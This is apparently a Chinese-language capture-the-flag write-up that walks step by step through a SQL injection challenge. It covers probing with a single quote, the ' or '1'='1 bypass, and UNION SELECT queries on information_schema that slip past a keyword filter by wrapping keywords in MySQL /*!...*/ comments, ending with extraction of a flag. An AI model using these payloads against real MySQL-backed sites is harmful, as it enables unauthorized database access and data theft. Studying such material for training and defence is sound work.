简单的 SQL 注入

1.首先尝试单引号是否被过滤，输入单引号提交后返回如下错误信息，证明单引号未被过滤。而且我们知道了后台使用的是 MySQL 数据库！

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

2.尝试一下万能密码，输入 ' or '1'='1 ，返回如下信息，ID 明显是我们输入的字段，name 则是从数据库中返回的信息。至少知道了 or 也是可用的。猜测后台的 SQL 语句只会返回一列的信息。

ID: ' or '1'='1

name: baloteli

ID: ' or '1'='1

name: kanawaluo

ID: ' or '1'='1

name: dengdeng

3.尝试查看下数据库的表信息，输入' union select table_name from information_schema.tables where ''=' ，返回如下错误信息，发现 from、where 等关键字都被过滤了。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'table_name information_schema.tables ''=''' at line 1

4.尝试可执行注释里的关键字是否会被过滤，输入' union select table_name from information_schema.tables /*!where*/ ''=' ，返回如下错误信息，发现 where 未被过滤了。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'table_name information_schema.tables /*!where*/ ''=''' at line 1

5.在每个字段外套上可执行注释/*!XXX*/，避免被过滤，输入' /*!union*/ /*!select*/ /*!table_name*/ /*!from*/ /*!information_schema.tables*/ /*!where*/ ''=',发现成功返回了表的信息，发现有一个叫 flag 的表！

6.继续查看 flag 表的所有列信息，输入' /*!union*/ /*!select*/ /*!column_name*/ /*!from*/ /*!information_schema.columns*/ /*!where*/ /*!table_name*/='flag，返回错误信息如下，发现竟然还是被过滤了！

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'from*/ /*!*/ /*!where*/ /*!table_name*/='flag'' at line 1

7.尝试返回 flag 的所有数据，输入' /*!union*/ /*!select*/ * /*!from*/ flag /*!where*/ ''=' ，报错信息如下，说明 flag 表应该包含不止一列字段。

The used SELECT statements have a different number of columns

8.尝试查看 flag 的数据行数，猜测其只包含一行数据，就是我们需要的 flag 字符串。输入' /*!union*/ /*!select*/ /*!count(*)*/ /*!from*/ flag /*!where*/ ''=' ，返回信息如下，果然只有一行。

ID: ' /*!union*/ /*!select*/ /*!count(*)*/ /*!from*/ flag /*!where*/ ''='

name: 1

9.只好猜测一下 flag 的列名，直接试试 flag,输入’ /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ ’’=’ ，很好，果然返回了我们期待的 flag 字符串！

ID: ’ /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ ’’=’

name: flag{**********}

The End!